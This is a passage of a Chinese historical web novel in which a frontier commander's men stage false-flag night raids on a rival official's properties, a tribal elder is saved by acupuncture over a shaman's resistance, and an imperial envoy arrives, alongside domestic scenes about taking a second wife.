“官人,”陈月娘撑起身子,在黑暗中看着他模糊的轮廓,鼓足勇气,“你对婉儿妹妹,到底如何打算?”
“我能有什么打算?”秦猛苦笑,“她毕竟是郡守千金,又不好直接赶她走,不如你去说说。”
“官…,官人,我有个想法……”陈月娘的声音更低了,还带着一丝不易察觉的颤抖和羞意。
她伸手抚摸着秦猛脸颊硬朗的线条,“你…,你是做大事的人,威猛神武,晚上,我…,我一个人有时也觉得难以将你伺候妥当。
我看得出来,婉儿妹妹对你…,是有意的。不如…,不如你就找个机会,把她也娶过门吧?”
“胡闹!”秦猛想也不想就拒绝,“这如何使得?先不说其他,林郡守那边就绝无可能同意!他那般古板性子,岂会让宝贝女儿给人做小?”
“那是从前!”陈月娘似乎早就想过,急急分辩,“你不是说了吗,开春后朝廷封赏的圣旨可能就要到了,官人必定加官进爵。
到时候,你身份不同,再备上厚礼,请有分量的人去提亲,林郡守看到你的前程,未必还会阻拦。婉儿妹妹知书达理,医术又好,娶进门,定能成为官人的贤内助,是一大臂力……”
她说得条条是道,但秦猛却从她看似大度的语气里,听出了一丝隐藏不住的酸涩和勉强。
他心中了然,伸手将妻子揽入怀中,紧紧抱住,打断了她的话头:“好了,月娘,你的心意我明白。
但眼下边境未稳,契丹动向不明,岂是沉溺于儿女情长的时候?这件事以后再说,不要再提了。”
他的语气温和却坚定。
陈月娘在他怀里轻轻“嗯”了一声,不再说话,只是将脸埋在他胸膛,眉眼低垂,不知在想啥。
秦猛能感觉到她身体的微微紧绷,知道她心中并未完全释然,但此刻,也只能轻拍她的背脊:“傻姑娘,睡吧,明天还有不少事呢。”
秦猛与妻子陈月娘耳鬓厮磨一阵,便相拥而眠,白日里训练的疲惫被家庭的温暖驱散,呼吸平稳,似乎外界的一切纷扰都与他无关。
然而,这个夜晚,对许多人而言,注定是个不眠之夜。
寨门在夜色中悄无声息地开启又闭合,一队队黑影如同汇入暗河的溪流,迅速消失在茫茫荒野中。
第333章 来而不往,十面杀局
时间回溯到三天前!
得知崔文远在幽州城像条疯狗般四处攀咬的消息,秦猛勃然大怒,决意展开强硬的反击。
他吩咐暗部陈麻子,必须先将崔文远及爪牙在各郡的明暗产业摸清楚,再择其要害精准下手。
暗部猎犬渗透,飞天卫潜入侦察。
燕北郡,渔阳郡等地的县城及周边情况已摸透。
一张详细标注燕北郡:柳城、阳乐、狐山三县,渔阳郡:渔阳、平谷、安江三县的地图铺在木桌上。
地图上,用朱砂圈出了十多个地点,皆是崔文远明面上或暗地里的产业:城外的货栈、偏远的矿场、车马行,乃至城内的酒楼、当铺。
“那些堕落在城寨商铺咱们不好动手。”
暗部负责人陈麻子,脸上麻痕在跳动灯光下更显狰狞。他沙哑着嗓子,指尖重重地点在几个最大的红圈上:“大人有令,来而不往非礼也!
要狠,要快,要干净!
这五处是崔文远的重要财源,守卫也最严。但比赛周边不安全,再硬的乌龟壳,也有缝!”
他看向身旁几人:飞天卫正副队长石地虎和陆晓飞,以及那位代号“影枭”的教官陈石。
“飞天卫的兄弟,负责拔掉暗桩,精准清除目标,我们猎犬进行渗透,制造混乱,打开缺口。
咱们暗部得全力配合兄弟部队,趁乱下手,目标明确——捣毁目标,烧掉仓库,抢走现银,特别是账册!得手后立刻撤离,绝不纠缠。”
陈麻子眼中闪过狠厉,“记住,要留下点‘纪念品’……几把粗糙的弯刀,几具穿着女真皮袄的‘尸体’,或者几支特有的破甲箭,骨饰等。”
“影枭”陈石声音没有任何起伏:“午夜或丑时动手,人最困乏。拂晓前,必须撤回预定地点。城内目标由几位将军带队配合,‘借题发挥’。”
石地虎咧嘴,露出森白牙齿:“放心,保证让崔家的狗,到阎王那儿都以为是**索命来了!”
计划已定,众人无声散去,如同暗夜中的鬼魅,一面悄然潜入预定几座县城的各个角落。一面加派人手前往其他郡县渗透搞地下工作。
秦猛的命令!陈麻子,石地虎等人不敢怠慢。
命令下达第二天。在渔阳郡通往幽州城的官道上,一支看似普通的商队正押送着十多辆车的货物前行,队伍中有五十多个护卫警惕护送,
其实这是崔文远秘密的运金队,是渔阳郡大多铺面冬季的收入、与草原暗中贸易所得的财宝。
这支运金队行踪虽隐秘,却早已被暗部探查清楚。
行至一处开阔地带时,一伙装备精良,彪悍凶残的“马匪”竟在光天化日之下发起突袭。
他们行动迅猛如雷,砍翻护卫,劫走金银财物后便迅速撤离,整个过程干净利落,只留下横七竖八的护卫尸体和吓得头趴在地的车夫。
转过天来,一支隶属刺史府,运送一批珍贵皮货和药材的车队,在平谷县外的官道上被劫!
这支车队规模不小,数十辆车,百来个护卫。领头押运的是一名幽狼卫的小头目,身手不俗,却被突然杀出的“马匪”一箭射**下。
这群匪徒来去如风,凶悍异常,车队护卫死的死,逃的逃,价值万余两的货物被劫掠一空。
平谷县官府得到报案后,姗姗来迟时,现场只留下激烈的打斗痕迹、满地狼藉、杂乱的马蹄印,以及染血皮袍和几支钉入车辕的狼纹箭……
这是暗部提前得到的情报,非常有价值的情报。可惜却出现了意外情况,这群马匪真是嚣张。
接下来的两天,看似风平浪静,实则是暗探活跃,他们刺探情报,与审问苏珩等人的口供结合验证,一处处与刺史府有关的产业被确认。
今夜,就是各处同时动手的日子!
夜间出营的是亲兵副将王善、**、秦小六、刘大牛等将领带队,奉命奔赴目标地执行任务。
阮大、鲁真、林怒、赵开明、韩勇等人早在前两天就率队,奔赴至燕北郡,渔阳郡各处准备。
入夜后,安江县最大的“金钩赌坊”内仍是人声鼎沸,烟雾缭绕。
赌徒们围着叶子牌、骰盅,眼珠赤红,呼喝叫骂,空气中弥漫着汗臭、铜臭与贪婪的气息。
这赌坊明面上是当地一个退职衙役所开,实则每月大部分利润都流入了崔刺史的管家手中,更是崔文远麾下爪牙放**、逼人卖儿卖女的黑窝。
夜色渐深,街上行人减少。突然,赌坊大门被猛地撞开,一群蒙着面巾、手持棍棒刀剑的汉子如狼似虎般冲入,二话不说,疯狂打砸。
“哼,官府查抄黑赌!无关人等趴下!”
为首者厉声喝道,正是**这个蒙面彪形大汉。
赌坊内顿时大乱。
看场的打手多是亡命之徒,见状欲要反抗,却被行动队员以更快更狠辣的身手迅速放倒。
为首那名退职衙役兼坊主,刚想从抽屉摸出短**,就被**一脚踹翻,刀背重重砸在脖颈上,当场昏死,如拖死狗似的被人拖走逼供。
队员们目标明确,直扑账房,将账册、借据以及钱箱迅速控制。对于那些只是赌钱的赌客,并未过多为难,只是劝诫为主、呵斥驱散。
地窖里,发现了十几个因还不起借债而被囚禁的百姓,骨瘦如柴,状如乞丐。**令人将他们放出,并将搜刮的部分银钱分给这些苦主。
随即,一把火将赌坊连同那些**的借据一同点燃。火光中,留下的痕迹依旧指向了“幽州势力”,大队兵卒扑向那些放赌人家中抄家。
午夜刚过,柳城县外那座最大的亨通货栈便被光顾。
这货栈表面上供商队歇脚,实则是幽州刺史府接收从幽州、冀州运来的粮食与铁器等战略物资,
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并准备暗中交易给草原部落的关键枢纽。
正因如此,它成为了暗部首批必须拔除的重点目标。
今夜,货栈突然被重重包围。
值守护卫尚未反应过来,便被**箭精准射杀。几名试图反抗的管事,也瞬间被潜入的黑影解决。此地总管则是被飞天卫闷死在了床上……
真正有价值的大量粮食与物资,已被暗部人员组织的车队往返不断,悄无声息地秘密运走。
为掩盖物资转移的痕迹并制造恐慌,袭击者随后泼洒火油,点燃了空置的库房和部分不值钱的杂货。
当救火队赶到时,只见冲天火光和满地狼藉,以及几把刻意留下的草原风格弯刀。货栈总管的人头被高悬于烧焦的旗杆之上,随风晃荡。
同一时刻,位于狐山县外深处的一处大型银矿,也是与幽州刺史府关系密切的人在经营。
在人们熟睡中,遭遇“马匪”突袭。这些“马匪”骑术精湛,攻势凌厉,矿场的护矿队不堪一击。
矿场内冬季提炼出的数十箱银锭被洗劫一空。
更令人胆寒的是,平日对矿工非打即骂的监工和护卫队长,被扒光衣服,用铁链吊死在矿场大门上,胸口用血写着歪歪扭扭的四个大字——“血债血偿”。
现场遗留的马蹄印杂乱无章,还遗留几支做工精致、疑似女真部落勇士才有资格佩戴的骨饰。
同样是这个夜晚,渔阳县最负盛名的青楼“软香阁”却是另一番景象。
楼内莺歌燕舞,恩客与姑娘们调笑嬉闹,看似一片靡靡之乐。
这“软香阁”亦是崔家隐秘产业,不仅牟取暴利,更兼有为崔文远笼络官员、打探消息的职能。
阁主是个徐娘半老、心狠手辣的女子,逼良为娼之事没少做。
行动由韩勇带队,鲁真协助,他们没有强攻,而是分批扮作豪客混入。待到预定时间,韩勇摔杯为号,众人立刻发作,用女真话呼喝着。
控制大堂后,韩勇直奔后院阁主居所。那阁主见势不妙,还欲狡辩,被韩勇一脚踹翻拿下。
对于楼内的护院打手,凡是素有恶名的,当场格杀;至于那些被迫**的姑娘和普通的龟公仆役。
韩勇则高声宣布:“梗,此处阁楼倒行逆施,此楼今日查封!尔等若愿从良,可自行离去,每人发放些许盘缠;若无处可去,等官府稍后安置!”
一时间,楼内哭声、惊呼声、道谢声混杂。行动队员迅速查封了账房和密室,取得了关键账册和信函,其中不乏与官员往来的证据。
……
类似上面这种突袭,在燕北郡,渔阳郡等地上演着。凡是与崔文远有关产业遭遇了毁灭性打击。
城外产业遭“马匪”、“女真”袭击,城内产业被“官府”、“地痞”找麻烦,损失惨重,人心惶惶。遗留下来的线索都隐隐指向草原势力……
第334章 后院情澜,贾德病危
铁血军寨,官署后院。
清晨,秦猛一如往常,陪着陈月娘、小妹以及林婉儿一同用早饭。
席间,林婉儿神色如常,依旧恬静优雅,与陈月娘说说笑笑,讨论着药材的晾晒与配置。
秦猛仔细观察,并未发现异样,心下稍安,用过饭,放下碗筷:“你们慢慢吃,我该走了。”
陈月娘细心地为他披上外袍,整理着甲胄的束带。
窗外,晨光熹微,寨中已传来操练的号角与嘈杂的人声。
“官人,巡视小心些,春寒正冷,莫要着了风寒。”陈月娘轻声叮嘱,眼中满是柔情与关切。
秦猛拍了拍妻子的手,露出一抹令人心安的笑容:“放心,就在寨子周边转转,午时便回。”
他大步走出官署,亲兵早已牵马等候。刚踏出门槛,一身重甲的**便浑身煞气,飞奔而至。
他凑近秦猛,声音压得极低,却带着金石之音:“大人,事儿办妥了,依照您的将令,‘送礼’行动,目标明确,痕迹也处理得干净。”
”秦猛面色如常,仿佛只是听到一句寻常的天气汇报,淡淡颔首:“知道了。告诉陈麻子和石地虎,礼要有始有终,各地情况要尽快搞清楚。”
“你也回去,好好歇息!”
“得令!”**应声,转身大步离去。
“阮二,阮三,派出接应队伍,接应各队凯旋。”
言罢,秦猛翻身上马,一夹马腹,在一队亲兵的簇拥下,朝着寨外春意盎然的田野驰去。仿佛只是去进行一场再普通不过的巡视。
然而,他平静的目光深处,却闪过一丝冰冷的锐芒。
崔文远啊,你算个什么东西?
不讲规矩,你是死得最快的!这仅仅是个开始。
……
此刻,官署后院的堂屋内,只剩下女眷们细碎的碗筷声和低语。
陈月娘、林婉儿、秦小芸、王艳,小蛮围坐在桌旁。桌上摆着热腾腾的包子、浓稠的米粥,还有一碟干奶酪,以及难得一见的热牛奶。
——这是军寨牲畜增多后,秦猛特意下令优先供应部将家眷、老人和孩童的。
“嫂子,听说寨外又开垦了好大一片地,袁飞讲,今年收成要是好了,咱们冬天就能宽裕不少。”秦小芸咬了口肉包子,眼睛亮晶晶的。
王艳也接口道:“是啊月娘姐,现在寨子里人越来越多,热闹是热闹,就是嚼用也大,幸好将军有本事。”
陈月娘笑着点头,目光却不时瞥向身旁安静喝粥的林婉儿。她心思细腻,如何看不出这位郡守千金对自家男人那份若有似无的情愫?
以及,随着秦猛地位水涨船高,她内心隐忧渐甚。
她放下粥碗,挪了挪椅子,轻轻握住林婉儿的手,语气带着过来人的亲昵和一丝试探:“婉儿妹妹,你觉得……你秦大哥他这人怎么样?”
林婉儿猝不及防,白皙的脸颊微微泛红,低声道:“秦大哥……人很好,有担当,重情义,尤其是对月娘姐你,极好。”
她这话发自肺腑,这段日子住在官署,秦猛基本上夜夜归宿,与陈月娘的恩爱她都看在眼里。
陈月娘笑容更深,凑近了些,声音压低却足够让桌边几人都听见:“那……妹妹你对猛子哥,是不是也……”
她话语未尽,意思却再明显不过。
林婉儿瞬间明白过来,俏脸唰地红到耳根,如同染了胭脂,急忙摆手:“月娘姐!你、你别乱说!没有的事!”
“夫人,其实……”一旁林婉儿的丫鬟小蛮听了,眼珠子转了转,刚要开口,就被林婉儿用眼神制止。
陈月娘叹口气,语气变得认真起来:“妹妹,我不是玩笑。猛子哥的能耐,你我都清楚。
听他说,这次朝廷封赏下来,只怕官职还要再升。这世道,男人有了权势,身边难免……三妻四妾也是常事。”
她眼中闪过一丝不易察觉的忧虑,继续道:“我出身乡野,不比妹妹你知书达理,见识广博。
与其将来,家里来了不知根底的,不如……不如是妹妹你,给猛子哥的帮助大,再者,我们性情相投,若能一起相伴,我也多个知心人。”
她顿了顿,仿佛下了很大决心,声音更轻却无比清晰:“只要妹妹你不嫌弃,我……我愿意在官人面前说明,我是童养媳,这正妻之位……”
“姐姐!”林婉儿吓得差点站起来,急忙反握住陈月娘的手,打断她的话,“使不得,万万不可。
姐姐切莫妄自菲薄!姐姐贤良淑德,持家有方,将后院事务打理得井井有条,妹妹敬佩还来不及,怎敢有如此非分之想?
何况,我喜欢秦大哥,可他却未必看得上妹妹,这感情之事,得讲究缘分,强求不得的。”林婉儿说这话时神情低落,脸上浮现黯然。
秦小芸在一旁眨着黑白分明的大眼睛,插嘴道:“婉儿姐姐,你喜欢我哥,就大胆地说,我觉得你也做我嫂子挺好的,有空我跟他谈谈。”
秦小芸把话挑明,大包大揽的样子。
“你这妮子!”陈月娘哭笑不得,瞪了她
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一眼。
“哎呀,这……”林婉儿羞得无地自容,站起身跺了跺脚:“姐姐,小芸妹妹,你们……莫要再取笑我了。我、我吃好了,先去医局看看。”
说完,她几乎是逃也似的离开了堂屋,留下陈月娘伸手挽留,小芸、王艳面面相觑的场景。
“夫人,我去看看小姐,顺便劝说。”
小蛮说了声,咬着包子,满脸坏笑地跟了上去。
秦猛对家中事儿一无所知,他正带着亲兵,策马巡视军寨营建,特别是狼戎族的几个安置区。
外面的营地并没有撤销,依旧有会狼戎语的军卒带队巡逻,维持治安的同时,以便沟通交流。
只见许多经验丰富的老农正耐心地教导那些曾经的草原牧民如何育种、使用农具、套爬犁翻地。
这些狼戎牧民起初显得笨拙,对驾驭耕畜和掌控农具十分生疏,但他们学得极为认真,用生涩汉话询问,眼中充满了对安定生活的渴望。
“过段时间就可以尝试通婚,逐渐来汉化融合。”秦猛带队巡视,对安置区的变化比较满意。
就在这时,只见周鸣满脸惊慌,气喘吁吁地飞奔而来,急声道:“知…,知寨大人,不好了!”
“贾德长老……贾德长老病重,眼看就不行了!”
秦猛心头一震,勒住马缰:“什么?怎么回事?前几日不是还好好的?”
贾德,是狼戎部落中颇有威望的长者,人老成精,懂得审时度势,对安抚和约束归附的狼戎人作用巨大,若此时去世,狼戎恐生变故。
周鸣听了,脸上闪过犹豫之色。
“嗯?”秦猛见状,脸色一沉:“说,到底怎么回事?”
周鸣一咬牙,喘着粗气汇报:“回禀大人,其实贾德长老,染上风寒至今,已有十来日。
起初只是小恙,但部落里的祭祀乌勒说什么这是神灵的小小考验,阻止我们请医官诊治,还……还暗中散布谣言,说周人医官没安好心,要提防……”
“混账!”秦猛脸色一沉,眼中闪过怒意。这些顽固的旧势力,真是成事不足败事有余!
“伯恩呢?他为何不制止?”
“伯恩头人正在安抚众人,欲请医官,但祭祀乌勒和他身边的一些人很不配合,场面有些混乱。”
“走!”秦猛当机立断,“你去协助伯恩,务必维持好秩序,来人,去请唐医官!希望还来得及!”
他立刻吩咐一名亲兵火速赶往军医局,请最好的医官带上药材器械速来,与周鸣匆匆赶往。
第335章 毡房对峙,金针妙手
时近正午,温暖的阳光直射在东南狼戎安置区,将一座较大的狼戎毡帐外围照得一片明亮。
数十名狼戎族人**于此,此刻,他们脸上的焦虑和不安,低声的议论比夜晚更加嘈杂。
毡房内,虽然挡住了直射的阳光,但闷热与压抑的气氛更甚。
皮褥之上,贾德长老面色蜡黄如金纸,双眼紧闭,每一次呼吸都带着明显的嘶哑声,微弱而急促,生命之火仿佛随时会在闷热中熄灭。
帐内中央,一场冲突正处于白热化。
年轻的头人伯恩,额角青筋暴起,正与挡在病榻前的祭祀乌勒激烈对峙。
这乌勒不过三十出头,身披象征神权的繁复黑色羽毛服饰,手持骨杖,深陷的眼窝里目光锐利而阴鸷。
他的师父死于之前的**,加之与前酋长德克萨关系紧密,使得他对周人充满仇恨,连带对“妥协派”贾德长老及其党羽也毫无敬意。
“伯恩!你竟要让周人玷污长老最后的旅程吗?”乌勒的声音在闷热的帐篷里显得格外尖厉。
“这是长生天的旨意!贾德背离传统,亲近周人,这才招来神罚!逆天而行,只会给整个部落带来更大的灾祸!”
“闭嘴,乌勒!你除了跳神和诅咒,还会什么?”伯恩双拳紧握,声音因愤怒而颤抖。
“我阿布(爷爷)为族人能吃饱穿暖耗尽心血,你的草药、你的祈舞,可曾让他的病情有半分好转?再拖下去,就是等死!我必须去请汉人医官!”
“我狼戎族世代生活在草原上,汉人狡诈多端,药草充满了诡诈,会污染他的灵魂,让他永世不得回归石林!”乌勒张开双臂,寸步不让,他身后的几名壮汉也面露凶光,向前逼近。
伯恩身边的年轻勇士立刻也踏前一步,双方在病榻前顶牛,汗味和紧张的情绪混合在一起,几乎一点就炸。
支持伯恩和畏惧祭祀乌勒的族人们分成两派,争论声越来越大。
“混帐东西,都滚开!”一声冰冷的断喝,如同寒冬里的一盆冰水,骤然泼入这闷热喧嚣的帐篷。
帘幕被猛地掀开,正午强烈的阳光瞬间涌入帐内,勾勒出秦猛挺拔而带着凛冽杀气的身影。
他带着一队按刀亲兵大步闯入,目光如电,瞬间扫过全场,最终定格在乌勒身上。那目光中的威严和冷意,竟让把长生天挂在嘴边,气焰嚣张的乌勒呼吸一窒,下意识地后退了半步。
“阿塔!”许多狼戎小伙纷纷低头,用右手捶着胸膛。
“秦大人!”伯恩如同见到救星,急忙迎上,声音带着急切和哽咽,“您可来了!我阿布他……”
秦猛抬手止住他的话,先快步走到矮榻前,俯身仔细查看贾德的情况。
他伸手探了探长老额头的温度,又翻开眼皮看了看,眉头紧紧锁起,转身对伯恩沉声道:“风寒病重,心肺俱衰!再拖延,神仙难救!我请的医官马上就到。”
他的声音清晰地在帐篷内回荡,不仅是对伯恩,更是对所有人宣告:“贾德长老是你们的长辈,也是我秦猛的朋友,也是军寨的一份子。
我大周讲究的是‘人命关天’!边镇多少将士负伤,多少百姓染疫,都是靠岐黄之术挽回性命!
难道你们宁愿相信虚无缥缈的‘神罚’,眼睁睁看着长老被耗死,也不愿抓住这近在眼前的一线生机吗?”
这番话,声音虽然不大,却显得格外有力量。许多原本被乌勒的“神罚”之说吓住的族人,眼神开始动摇。
他们看着阳光下秦猛刚毅的面孔,又看看病榻上奄奄一息的长老,心中的天平悄然间倾斜。
伯恩得到支持,勇气倍增,猛地转身,指着乌勒厉声道:“乌勒祭祀!我以族人的名义命令你,立刻让开!若长老因你的阻拦有何不测,我拿你是问!”
“对!让军寨医官试试!”
“乌勒,你的法子要是有用,贾德长老早就好了!”
“周人的药确实救过许多族里的孩子!”
支持伯恩的声音此起彼伏,在光天化日之下,乌勒那套神秘主义的威慑力大打折扣。
他脸色铁青,感受着族人的目光变化和秦猛亲兵手按刀柄带来的压力,只得咬牙切齿地侧身让开,阴恻恻地道:“好!我就看看周人有什么本事!若长老有事,你们就是凶手!”
就在这时,帐外传来通报声:“军医局唐医官到!”
只见军医局主事唐博带着两名助手匆匆而入,令人稍感意外的是,林婉儿和她的丫鬟小蛮也跟在后面。
林婉儿脸颊微红,目光在与秦猛接触的瞬间有些闪躲,显然还未完全从早晨的尴尬中摆脱出来。
小蛮则好奇地东张西望,还对秦猛悄悄做了个鬼脸。
秦猛顾不得细究,立刻对唐博道:“唐医官,快请!”
唐博上前,望、闻、问、切,面色凝重:“高热伤津,邪陷心包,元气溃散……万分棘手!”
林婉儿也上前仔细查看,她纤细的手指搭在贾德长老枯瘦的手腕上,凝神感知良久,抬头看向秦猛和唐博,声音清晰而沉稳:“唐医官所言极是。病情虽危,尚有一线生机。
当务之急,是需立即用金针泄其体内壅盛的邪热,通达闭塞窍络,稳住心脉元气,再议用药。只是…此法凶险,对施针者要求极高。”
“有几成把握便尽几成力?”秦猛果断支持。
“七八成!”林婉儿沉默片刻后,回答。
“好,可以一试。”秦猛堂博几乎同时点头。
伯恩精通汉语,听到这话脸色一喜,上前恳求:“林医缓,劳烦您出手,若是需要什么,但说无妨。”
林
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婉儿点头,取来药箱,深呼吸压下心中杂念,眼神变得专注。她迅速取出银针,在亲兵递上的火折火焰上消毒,手法沉稳,不见丝毫慌乱。
帐内顿时安静下来,所有目光都聚焦在那细长的银针和那双稳定如玉的手上。
阳光从帐帘缝隙透入,恰好照亮了病榻一角。
只见林婉儿凝神定气,运针如飞,或浅刺,或深捻,精准地刺入贾德长老的百会、人中、内关等要穴。
毡房里温暖,这一通忙活,她的额头渗出细汗,神情却无比专注。
乌勒等人冷眼旁观,嘴角带着不屑的冷笑。
然而,片刻之后,奇迹发生了。
贾德长老原本急促如拉扯风箱的呼吸,竟然肉眼可见地平缓了一些,喉咙间的痰鸣音也减弱了,紧皱的眉头似乎舒展了少许。
“有效!阿布的呼吸顺了!”伯恩激动地低呼,声音带着颤抖。
林婉儿不敢怠慢,又迅速写下药方,交给唐博复验。
唐博接过一看,眼中露出赞许之色,立刻命助手拿去速速煎药。药煎好后,伯恩亲自小心协助,将药汁一点点给昏迷的贾德长老灌下。
整个过程中,秦猛始终肃立一旁,像一座不可撼动的山岳。
他的存在,既是定海神针,也无声地警告着任何敢轻举妄动之人。
救治暂告段落,林婉儿已是香汗淋漓,她轻轻吐出一口气,对伯恩和秦猛道:“眼下高热暂退,险情稍缓,但时间耽搁,长老年事已高,今夜最为关键,需按时服药,密切观察。”
伯恩感激涕零,对着林婉儿和秦猛深深一躬:“多谢大人!多谢医官救命之恩!黑狼部永世不忘!”
他转向族人,激动地大声道:“大家都看到了吗?是秦大人和林医官,把阿布从长生天手里抢了回来!以后谁再敢对军寨袍泽不敬,就是我伯恩的敌人,就是我黑狼部的叛徒!”
亲眼目睹这起死回生的一幕,绝大多数狼戎族人眼中的疑虑彻底消散,取而代之的是由衷的感激和敬畏。
乌勒祭祀等人面色灰败,在众人无声的谴责和秦猛亲兵冷冽的目光下,灰溜溜地挤出了毡房。
秦猛看着这一幕,心中稍安。
这次午时的公开救治,效果比预想的更好。
他将伯恩唤至帐外阳光之下,低声道:“伯恩,看到族人的反应了吗?人心所向,已不言自明。乌勒此人,心怀叵测,留着他,必生祸端。”
伯恩看着阳光下秦猛锐利的眼神,想起乌勒之前的阻挠和怨毒,重重点头:“属下明白!有些腐肉不割,会烂掉整条腿!我知道该怎么做!”
年轻族长的眼中,闪过狼一般的狠厉与决绝。
而在帐外的阴影处,乌勒回首望着那喧闹的长老毡帐,脸上满是怨毒,以及眼里浓浓的不甘!
第336章 雷霆肃奸,钦差天降
秦猛目光如炬,缓缓扫过眼前这些贾德的儿孙,或是部落里有一定影响力的阿寅勒(家庭)头人。
此刻,这些人或羞愧低头,或目光闪烁,不敢与他对视。
“诸位,”秦猛的声音低沉而充满力量,在周鸣流利的狼戎语翻译下,清晰地传入每个人耳中。
“成王败寇,顺势者昌,这便是北地生存的不二法门。本将自问对待黑狼部落,已尽仁义之心。
望诸位心中也有一杆秤,掂量清楚,什么事情能做,什么事情是万丈深渊,踏错一步便会万劫不复。”
他略微停顿,让话语的分量沉淀下去,才继续道:“迁入大周境内安居,并非耻辱,或是新的开始。
遥想数百年前,我秦猛的先祖,或许也曾如你们一般,从河北岸的草原迁徙而来,在此落地生根。关键在于,要能抓住机遇,让族人过得更好。
大周的岐黄之术,诸位今日已亲眼见证其神奇。日后族人若有病痛,无需硬扛,尽管去军寨医所诊治。
新生儿能更多存活,壮年能免于病痛折磨,部落方能人丁兴旺,这才是真正的强大之道。”
“多谢阿塔(牧主)!”这些狼戎军汉、头人们心悦诚服地躬身应答,声音带着感激与悔恨。
秦猛此举,既是严厉的警告,又指明了实实在在的好处,恩威并施,彻底瓦解了一些人心中可能残存的摇摆。
另一边,唐博和林婉儿两人,正细致地向伯恩及其亲眷交代贾德长老后续的汤药与调养事宜。
林婉儿声音轻柔,但条理清晰:“……汤药需文火慢煎,每日三次,饭后服用。期间饮食务必清淡,忌食生冷油腻,尤其是未完全烤熟的肉食……”
“多谢两位医官!”伯恩等人连连感谢,有妇人还取来一些金银当作诊金,却被唐博婉言谢绝。
不久,秦猛以军务繁忙为由,婉拒了伯恩等人的盛情挽留,与林婉儿、唐博一行人告辞离去。
秦猛等人前脚刚走,毡房内的气氛便从庆幸转为愤恨。
看着呼吸平稳、安然入睡的贾德长老,伯恩与家族兄弟们围坐一圈,脸上尽是后怕与怒火。
“乌勒这头恶狼!若非秦将军来得及时,阿布,就……”伯恩咬牙切齿,五指紧握,骨节发白。
“族长,乌勒祭祀平日就拉拢了不少人,对周人政策多有微词,此次更是公然阻挠救治,其心可诛!”一个堂弟愤然道。
“这个祸害迟早会引来大祸,不能再留他了!”另一位家族兄弟眼中闪过狼戎勇士的狠决。
伯恩重重点头,眼中最后一丝犹豫被果断取代:“纳鲁,你带一队可靠的人,去盯住乌勒的毡房。莫多,你去叫人,集合我们的亲兵卫队。现在就去,必须清理掉部落里的毒疮!”
与此同时,在另一处较大的毡房内,气氛阴郁压抑。
祭祀乌勒遣散了大部分随从,只留下几名心腹骨干。他脸上的怨毒几乎要溢出来,压低的声音如同毒蛇吐信:
“你们都看到了!伯恩那小子,已经完全成了周人的鹰犬!狼神的子孙,何时需要向农耕之民摇尾乞怜?
去,秘密联系所有对周人心怀不满的族人,问问他们,是想保持狼戎勇士的尊严与传统,还是甘心世代为奴,做那被圈养的温顺牛马!”
他眼中闪过一道更危险的光芒,声音更低:“还有……立刻想办法,联系上在对岸活动的‘野狼部落’的使者。告诉他们,黑狼部落真正的勇士血脉未冷!只要他们愿意提供支持,我们里应外合,未尝不能夺回属于我们的草场和自由!”
就在乌勒等人密谋正酣,幻想着如何掀起波澜,搅乱军寨之时,毡房的门帘被猛地掀开!
伯恩一马当先,带着纳鲁等如狼似虎的亲兵冲了进来,冰冷的刀锋瞬间架在了乌勒及其心腹的脖颈上。
“乌勒!你谋害贾德长老,证据确凿!给我拿下!”伯恩厉声喝道。
乌勒被按倒在地,奋力挣扎,嘶吼道:“伯恩!你敢动我?我是黑狼部落的祭祀,是腾格里神在世间的仆人!你这是背叛黑狼神!”
伯恩居高临下冷冷地看着他,眼中没有半分对祭祀的尊敬,只有冰冷的决绝:“背叛狼神的是你!
为了一己私欲,罔顾族人性命,只想把部落拖回战乱和贫瘠的深渊!你才是部落的罪人!”
“伯恩。”乌勒兀自叫嚷:“你背弃信仰,长生天不会饶恕……”
“闭嘴!”堂弟纳鲁早已不耐,一记膝撞狠狠顶在乌勒腹部,让他瞬间蜷缩如虾米,后续的咒骂全变成了痛苦的呜咽。
随即,破布狠狠塞进了他的嘴里。
很快,乌勒及其党羽被用黑布蒙头,像拖死狗一样从毡房中拖出。
几乎同时,安置区内另外几处也发生了短暂的骚动,那些早已被伯恩列入名单的顽固分子,也被迅速控制。
这些人将被秘密带离安置区,彻底“消失”。
伯恩深知,秦猛的意思很明显,怀柔政策是基于稳定,若内部乱起,给予其他虎视眈眈的边将口实,等待黑狼部落的将是灭顶之灾。
他必须为亲眷,为整个部落的未来负责。
肃清内患后,伯恩雷厉风行,亲自带着几位亲眼见证贾德长老被
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救回的族人,前往各个狼戎安置点现身说法。
总之,呼吁族人有病切勿硬撑,应主动前往周人军寨医所求治,并再三保证绝不会受到歧视。
秦猛一行人回到铁血军主寨,林婉儿低声打了招呼,便拉着侍女小蛮,几乎是逃也似的匆匆告辞。
那微红的侧脸和不敢与秦猛对视的模样,让他颇为摸不着头脑,心中嘀咕:“这丫头,又是怎么了?”
他摇摇头,暂且按下心思,先对唐博吩咐道:“唐先生,组织医疗队,明日开始,主动轮班前往各安置区坐诊,要显出我们的诚意。”
安排妥当后,他打算去军器监衣甲坊巡查一番。
刚走出没多远,忽听后寨方向传来一阵急促而悠长的号角声!
这不是敌**报,而是警戒和通报有重要人员抵达的信号。
紧接着,一名亲兵飞驰而来,利落地翻身下马,抱拳禀报,声音因急促而略带喘息,却依旧洪亮:“启禀大人!巡逻队回报h郡城方向有大队人马前来,旌旗招展,仪仗鲜明!
打头的是郡守府的旗号,后面跟着……跟着朝廷的钦差队伍!”
秦猛闻言,瞳孔微缩,心中念头急转:“从去年就说着这事儿,等了这么久,终于来了!”
他面色一肃,整了整身上的甲胄,沉声下令:“传令!打开中门,净街洒扫,摆设香案,准备迎接钦差!
通知所有部将以上军官,即刻至官署前集合,随我出迎!”
“得令!”亲兵领命,飞奔而去。
站在寨墙瞭望塔上,已能望见远处官道上浩浩荡荡的队伍。这宣旨的阵容,远比预想的要庞大。
原来,大周朝廷宣旨,并非后世戏文中常见的宦官担当,尤其是对于外官升迁、赏赐这类属于“外制”范畴的诏敕,多由中书省下的舍人院派遣官员担任宣敕官。
此次前来的钦差,便是如此。
这位钦差自京城出发时,仪仗护卫不过数十人。
但依照制度,沿途州府皆需接待、护送出境。
队伍抵达幽州时,刺史府便派员陪同;帅司吴大帅也遣军护送;到了燕北郡城,郡守林安国更是率众出迎,亲自作陪一程,并加派了人手护卫开路。
这般层层叠加,抵达铁血军寨时,队伍已膨胀至两三百人,旌旗招展,人马喧嚣,声势十足。
“朝廷的天使已经到了寨门外了!”
这消息如风般传遍全寨。
